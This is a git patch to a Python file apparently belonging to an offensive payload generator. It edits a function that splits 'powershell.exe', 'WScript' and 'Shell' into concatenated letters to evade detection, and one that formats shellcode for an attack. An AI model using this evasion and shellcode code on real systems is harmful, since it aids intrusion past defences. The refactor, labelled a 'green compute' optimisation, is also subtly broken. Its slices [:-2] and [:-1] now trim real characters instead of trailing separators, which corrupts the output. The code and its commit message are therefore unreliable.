From 8874ebc07e4754ff4e5a57c708d0badb22a5d1fb Mon Sep 17 00:00:00 2001 From: "Jason M. Pittman" Date: Sun, 11 Jun 2023 15:10:34 -0400 Subject: [PATCH] refactored code to linear complexity operations for optimization --- tools/trusted_2_6.py | 28 +++++++++++++--------------- 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/tools/trusted_2_6.py b/tools/trusted_2_6.py index 739f5fa2..4d16a581 100755 --- a/tools/trusted_2_6.py +++ b/tools/trusted_2_6.py @@ -235,27 +235,23 @@ def write_file(path, text): # scramble commmands into multiple strings def scramble_stuff(): ps = "powershell.exe" - list = "" - for letter in ps: - letter = '"' + letter.rstrip() + '" & ' - list = list + letter + + # Improved green compute code — Variable manipulation using list comprehension + list = ' & '.join(['"' + letter.rstrip() + '"' for letter in ps]) full_exe = list[:-2] ps_only = full_exe.split(".")[0][:-4] wscript = "WScript" shell = "Shell" - list2 = "" - for letter in wscript: - letter = '"' + letter.rstrip() + '" & ' - list2 = list2 + letter + + # Improved green compute code — Variable manipulation using list comprehension + list2 = ' & '.join(['"' + letter.rstrip() + '"' for letter in wscript]) full_wscript = list2[:-2] - list3 = "" - for letter in shell: - letter = '"' + letter.rstrip() + '" & ' - list3 = list3 + letter + # Improved green compute code — Variable manipulation using list comprehension + list3 = ' & '.join(['"' + letter.rstrip() + '"' for letter in shell]) full_shell = list3[:-2] @@ -431,15 +427,17 @@ def gen_shellcode_attack(payload, ipaddr, port): counter = 0 # count every four characters then trigger floater and write out data floater = "" - # ultimate string - newdata = "" + # modified ultimate string for green computing optimization + newdata_list = [] for line in shellcode: floater += line counter += 1 + if counter == 4: - newdata = newdata + floater + "," + newdata_list.append(floater) floater = "" counter = 0 + newdata = ",".join(newdata_list) # here's our shellcode prepped and ready to go shellcode = newdata[:-1]